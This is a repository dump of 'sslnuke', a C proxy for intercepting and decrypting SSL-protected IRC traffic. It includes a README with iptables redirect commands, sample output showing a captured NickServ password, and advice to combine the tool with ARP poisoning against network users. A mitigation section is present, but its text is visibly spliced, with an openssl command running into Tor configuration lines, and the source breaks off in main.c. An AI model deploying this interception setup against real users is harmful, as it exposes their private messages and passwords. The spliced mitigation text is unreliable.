├── LICENSE ├── Makefile ├── README.md ├── include ├── conn_list.h ├── main.h ├── parse_incoming.h ├── ssl.h └── util.h └── src ├── conn_list.c ├── main.c ├── parse_incoming.c ├── ssl.c └── util.c /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc. 5 | 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Library General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License 307 | along with this program; if not, write to the Free Software 308 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 309 | 310 | 311 | Also add information on how to contact you by electronic and paper mail. 312 | 313 | If the program is interactive, make it output a short notice like this 314 | when it starts in an interactive mode: 315 | 316 | Gnomovision version 69, Copyright (C) year name of author 317 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 318 | This is free software, and you are welcome to redistribute it 319 | under certain conditions; type `show c' for details. 320 | 321 | The hypothetical commands `show w' and `show c' should show the appropriate 322 | parts of the General Public License. Of course, the commands you use may 323 | be called something other than `show w' and `show c'; they could even be 324 | mouse-clicks or menu items--whatever suits your program. 325 | 326 | You should also get your employer (if you work as a programmer) or your 327 | school, if any, to sign a "copyright disclaimer" for the program, if 328 | necessary. Here is a sample; alter the names: 329 | 330 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 331 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 332 | 333 | , 1 April 1989 334 | Ty Coon, President of Vice 335 | 336 | This General Public License does not permit incorporating your program into 337 | proprietary programs. If your program is a subroutine library, you may 338 | consider it more useful to permit linking proprietary applications with the 339 | library. If this is what you want to do, use the GNU Library General 340 | Public License instead of this License. 341 | 342 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -o sslnuke src/conn_list.c src/util.c src/main.c src/ssl.c src/parse_incoming.c -lssl -lcrypto 3 | 4 | clean: 5 | rm sslnuke 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # sslnuke -- SSL without verification isn't secure! 2 | -------------------------------------- 3 | 4 | We have all heard over and over that SSL without verification is not secure. 5 | If an SSL connection is not verified with a cached certificate, it can easily be 6 | hijacked by any attacker. So in 2013, one would think we had totally done away with this 7 | problem. Browsers cache certificates and very loudly warn the user when a site has 8 | offered up a self-verified certificate and should not be trusted, browser vendors have 9 | pretty much solved this problem. However, HTTPS is not the only protocol that uses 10 | SSL. Unfortunately, many clients for these other protocols do not verify by default and even 11 | if they did, there is no guarantee of secure certificate transfer. After all, how many 12 | people are willing to pay $50 for an SSL certificate for their FTPS server? 13 | 14 | A common protocol that uses SSL but is rarely verified is IRC. Many IRC clients 15 | verify by default, but most users will turn this off because IRC servers administrators 16 | tend not to purchase legitimate SSL certificates. Some popular clients even leave 17 | SSL verification off by default (IRSSI, for example). We already know that this is 18 | unwise, any attacker between a user and the IRC server can offer an invalid 19 | certificate and decrypt all of the user's traffic (including possibly sensitive 20 | messages). Most users don't even consider this fact when connecting to an 21 | SSL "secured" IRC server. 22 | 23 | The purpose of sslnuke is to write a tool geared towards decrypting and intercepting 24 | "secured" IRC traffic. There are plenty of existing tools that intercept SSL traffic already, 25 | but most of these are geared towards HTTP traffic. sslnuke targets IRC directly in order to 26 | demonstrate how easy it is to intercept "secured" communications. sslnuke usage is simple. 27 | 28 | ## Usage 29 | 30 | First, add a user account for sslnuke to run as and add iptables rules to redirect traffic 31 | to it: 32 | 33 | # useradd -s /bin/bash -m sslnuke 34 | # grep sslnuke /etc/passwd 35 | sslnuke:x:1000:1000::/home/sslnuke:/bin/bash 36 | # iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner 1000 -m tcp \ 37 | --dport 6697 --tcp-flags FIN,SYN,RST,ACK SYN -j REDIRECT --to-ports 4444 38 | 39 | Finally, login as sslnuke, build, and run sslnuke: 40 | 41 | # su -l sslnuke 42 | # cd sslnuke 43 | # make 44 | # ./sslnuke 45 | 46 | Run an IRC client and login to your favorite IRC network using SSL, 47 | IRC messages will be printed to stdout on sslnuke. 48 | 49 | [*] Received connection from: 192.168.0.5:58007 50 | [*] Opening connection to: 1.1.1.1:6697 51 | [*] Connection Using SSL! 52 | [*] irc.com -> AUTH (1.1.1.1): *** Looking up your hostname... 53 | [*] irc.com -> AUTH (1.1.1.1): *** Found your hostname 54 | [*] irc.com -> victim (1.1.1.1): *** You are connected to irc.vps-heaven.com with TLSv1.2-AES256-GCM-SHA384-256bits 55 | [*] 192.168.0.5 -> nickserv (192.168.0.5): id hello 56 | [*] NickServ!services@irc.com -> victim (1.1.1.1): Password accepted - you are now recognized. 57 | 58 | sslnuke will automatically detect a client using SSL and determine whether or not 59 | to use SSL. The code could also be easily modified to show web site passwords or 60 | FTP data, anything using SSL. To attack users on a network, sslnuke can be used 61 | in conjunction with an ARP poisoning tool, such as the one found at [Blackhat Library](http://www.blackhatlibrary.net/Python#Scapy) 62 | or it can be deployed on a gateway. 63 | 64 | A video demonstration of sslnuke can be seen at [ascii.io](http://ascii.io/a/5370). 65 | 66 | ## Mitigation 67 | 68 | Now on to the important part, how do we verify SSL connections? The first step is to 69 | transfer the SSL certificate over an alternative medium, the best way would be to 70 | have the administrator directly give you the certificate. However, if this is not possible, 71 | openssl can download the certificate from the server: 72 | 73 | # openssl s_client -showcerts -connect irc.com:6697 > /etc/tor/torrc 87 | # echo "AutomapHostsOnResolve 1" >> /etc/tor/torrc 88 | # echo "TransPort 9040" >> /etc/tor/torrc 89 | # echo "DNSPort 5353" >> /etc/tor/torrc 90 | # killall -HUP tor 91 | # iptables -t nat -A OUTPUT -p tcp -d 10.192.0.0/10 -j REDIRECT --to-ports 9040 92 | # iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-ports 5353 93 | # ncat xxxxxxxxxxxxxxx.onion 6667 94 | :irc.com NOTICE AUTH :*** Looking up your hostname... 95 | :irc.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead 96 | ^C 97 | 98 | Ultimately, IRC clients should use an SSH-style key verification. On first connect, present the 99 | certificate fingerprint to the user and force the user to confirm it and then cache the certificate. 100 | If it changes the next time, do not allow the connection. 101 | 102 | ## Source 103 | 104 | The source code can be downloaded on [Github](https://github.com/jtripper/sslnuke). 105 | 106 | ## Credit 107 | 108 | * jtripper -- jack@jtripper.net 109 | * [Blackhat Library](http://blackhatlibrary.net/) 110 | * [Chokepoint](http://chokepoint.net) 111 | 112 | -------------------------------------------------------------------------------- /include/conn_list.h: -------------------------------------------------------------------------------- 1 | /* 2 | * sslnuke -- conn_list.h 3 | * (C) 2013 jtRIPper 4 | * 5 | * This program is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 1, or (at your option) 8 | * any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program; if not, write to the Free Software 17 | * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. 18 | */ 19 | 20 | #ifndef _CONN_LIST_H 21 | #define _CONN_LIST_H 22 | 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | 29 | struct proxied_connection { 30 | struct sockaddr_in to; 31 | struct sockaddr_in from; 32 | int tsock; 33 | int fsock; 34 | 35 | SSL_CTX *fctx; 36 | SSL *fssl; 37 | 38 | SSL_CTX *tctx; 39 | SSL *tssl; 40 | 41 | int ssl_tried; 42 | 43 | struct proxied_connection *prev; 44 | struct proxied_connection *next; 45 | }; 46 | 47 | struct proxied_connection *add_conn(struct proxied_connection *conns); 48 | struct proxied_connection *first_conn(struct proxied_connection *conns); 49 | struct proxied_connection *get_conn(int sock, struct proxied_connection *conns); 50 | struct proxied_connection *last_conn(struct proxied_connection *conns); 51 | struct proxied_connection *rm_conn(struct proxied_connection *conn, fd_set *fds); 52 | struct proxied_connection *rm_conn_sock(int sock, fd_set *fds, struct proxied_connection *conns); 53 | 54 | #endif 55 | -------------------------------------------------------------------------------- /include/main.h: -------------------------------------------------------------------------------- 1 | /* 2 | * sslnuke -- main.c 3 | * (C) 2013 jtRIPper 4 | * 5 | * This program is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 1, or (at your option) 8 | * any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program; if not, write to the Free Software 17 | * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. 18 | */ 19 | 20 | #ifndef _MAIN_H 21 | #define _MAIN_H 22 | 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | 32 | #include "util.h" 33 | #include "conn_list.h" 34 | #include "ssl.h" 35 | #include "parse_incoming.h" 36 | 37 | int create_srv_sock(char *bindaddr, int bindport); 38 | struct proxied_connection *handle_new_connection(int sock, struct proxied_connection *conns, fd_set *fds, int *high_sock); 39 | struct proxied_connection *handle_recv(struct proxied_connection *conn, fd_set *fds, fd_set *saved); 40 | void handle_sockets(int server_sock); 41 | int open_connection(struct sockaddr_in *dst); 42 | 43 | #endif 44 | -------------------------------------------------------------------------------- /include/parse_incoming.h: -------------------------------------------------------------------------------- 1 | /* 2 | * sslnuke -- parse_incoming.c 3 | * (C) 2013 jtRIPper 4 | * 5 | * This program is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 1, or (at your option) 8 | * any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program; if not, write to the Free Software 17 | * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. 18 | */ 19 | 20 | #ifndef _PARSE_INCOMING_H 21 | #define _PARSE_INCOMING_H 22 | 23 | #define _GNU_SOURCE 24 | 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | #include "conn_list.h" 32 | 33 | void parse_packet(int sock, struct proxied_connection *conn, char *buffer, int size); 34 | 35 | #endif 36 | -------------------------------------------------------------------------------- /include/ssl.h: -------------------------------------------------------------------------------- 1 | /* 2 | * sslnuke -- ssl.h 3 | * (C) 2013 jtRIPper 4 | * 5 | * This program is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 1, or (at your option) 8 | * any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program; if not, write to the Free Software 17 | * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. 18 | */ 19 | 20 | #ifndef __SSL_H_ 21 | #define __SSL_H_ 22 | 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | #include "conn_list.h" 29 | 30 | #define DEFAULT_KEY_BITS 1024 31 | #define DEFAULT_CERT_DURATION 60 * 60 * 24 * 365 32 | #define CERTIFICATE_COMMENT "auto" 33 | 34 | struct ssl_client_hello { 35 | char content_type; // 16 for handshake 36 | char tls_version_major; // tls version 37 | char tls_version_minor; 38 | 39 | char tls_length_1; // length 40 | char tls_length_2; // length 41 | 42 | char handshake_type; // 1 for Client Hello 43 | 44 | char ssl_length_1; // length for client hello 45 | char ssl_length_2; // length for client hello 46 | char ssl_length_3; // length for client hello 47 | 48 | char ssl_version_major; // tls version for cliet hello 49 | char ssl_version_minor; // tls version for cliet hello 50 | }; 51 | 52 | int accept_ssl(struct proxied_connection *conn); 53 | int read_ssl(int sock, SSL *ssl, char *buff); 54 | int send_ssl(int sock, SSL *ssl, char *buff, int size); 55 | 56 | #endif 57 | -------------------------------------------------------------------------------- /include/util.h: -------------------------------------------------------------------------------- 1 | /* 2 | * sslnuke -- util.h 3 | * (C) 2013 jtRIPper 4 | * 5 | * This program is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 1, or (at your option) 8 | * any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program; if not, write to the Free Software 17 | * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. 18 | */ 19 | 20 | #ifndef _UTIL_H 21 | #define _UTIL_H 22 | 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | void error(int e, char *format, ...); 29 | 30 | #endif 31 | -------------------------------------------------------------------------------- /src/conn_list.c: -------------------------------------------------------------------------------- 1 | /* 2 | * sslnuke -- conn_list.c 3 | * (C) 2013 jtRIPper 4 | * 5 | * This program is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 1, or (at your option) 8 | * any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program; if not, write to the Free Software 17 | * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. 18 | */ 19 | 20 | #include "../include/conn_list.h" 21 | 22 | // Add a proxied_connection struct to the linked list 23 | struct proxied_connection *add_conn(struct proxied_connection *conns) { 24 | struct proxied_connection *new_conn, *last; 25 | new_conn = (struct proxied_connection*)calloc(1, sizeof(struct proxied_connection)); 26 | if((last = last_conn(conns))) { 27 | last->next = new_conn; 28 | new_conn->prev = last; 29 | } else { 30 | new_conn->prev = NULL; 31 | } 32 | 33 | new_conn->next = NULL; 34 | return new_conn; 35 | } 36 | 37 | // Retreive the first element of the list 38 | struct proxied_connection *first_conn(struct proxied_connection *conns) { 39 | if(!conns) return conns; 40 | 41 | for(conns; conns->prev; conns = conns->prev); 42 | return conns; 43 | } 44 | 45 | // Get an element by socket 46 | struct proxied_connection *get_conn(int sock, struct proxied_connection *conns) { 47 | int index; 48 | conns = first_conn(conns); 49 | 50 | for(conns; conns->next; conns = conns->next) { 51 | if(conns->fsock == sock || conns->tsock == sock) 52 | return conns; 53 | } 54 | 55 | return NULL; 56 | } 57 | 58 | // Retreive the last element in the linked list 59 | struct proxied_connection *last_conn(struct proxied_connection *conns) { 60 | if(!conns) return conns; 61 | 62 | for(conns; conns->next; conns = conns->next); 63 | return conns; 64 | } 65 | 66 | // Remove a connection 67 | struct proxied_connection *rm_conn(struct proxied_connection *conn, fd_set *fds) { 68 | printf("[*] Connection closed.\n"); 69 | struct proxied_connection *handle = NULL; 70 | 71 | // If the connection is using SSL, free the structures 72 | if(conn->tssl) { 73 | SSL_free(conn->tssl); 74 | SSL_CTX_free(conn->tctx); 75 | } 76 | 77 | if(conn->fssl) { 78 | SSL_free(conn->fssl); 79 | SSL_CTX_free(conn->fctx); 80 | } 81 | 82 | // shutdown and remove the sockets from the fd_set 83 | FD_CLR(conn->tsock, fds); 84 | FD_CLR(conn->fsock, fds); 85 | shutdown(conn->tsock, SHUT_RDWR); 86 | close(conn->tsock); 87 | shutdown(conn->fsock, SHUT_RDWR); 88 | close(conn->fsock); 89 | 90 | if(conn->prev) { 91 | handle = conn->prev; 92 | conn->prev->next = conn->next; 93 | } 94 | 95 | if(conn->next) { 96 | handle = conn->next; 97 | conn->next->prev = conn->prev; 98 | } 99 | 100 | free(conn); 101 | return handle; 102 | } 103 | 104 | // Remove a connection by socket. 105 | struct proxied_connection *rm_conn_sock(int sock, fd_set *fds, struct proxied_connection *conns) { 106 | struct proxied_connection *conn; 107 | 108 | if(!(conn = get_conn(sock, conns))) { 109 | return NULL; 110 | } 111 | 112 | return rm_conn(conn, fds); 113 | } 114 | 115 | -------------------------------------------------------------------------------- /src/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | * sslnuke -- main.c 3 | * (C) 2013 jtRIPper 4 | * 5 | * This program is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 1, or (at your option) 8 | * any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program; if not, write to the Free Software 17 | * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. 18 | */ 19 | 20 | #include "../include/main.h" 21 | 22 | // Bind to a socket 23 | int create_srv_sock(char *bindaddr, int bindport) { 24 | struct sockaddr_in serv; 25 | int sock, yes=1; 26 | 27 | serv.sin_family = AF_INET; 28 | serv.sin_port = htons(bindport); 29 | serv.sin_addr.s_addr = inet_addr(bindaddr); 30 | 31 | if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) 32 | error(1, "[!] socket"); 33 | 34 | 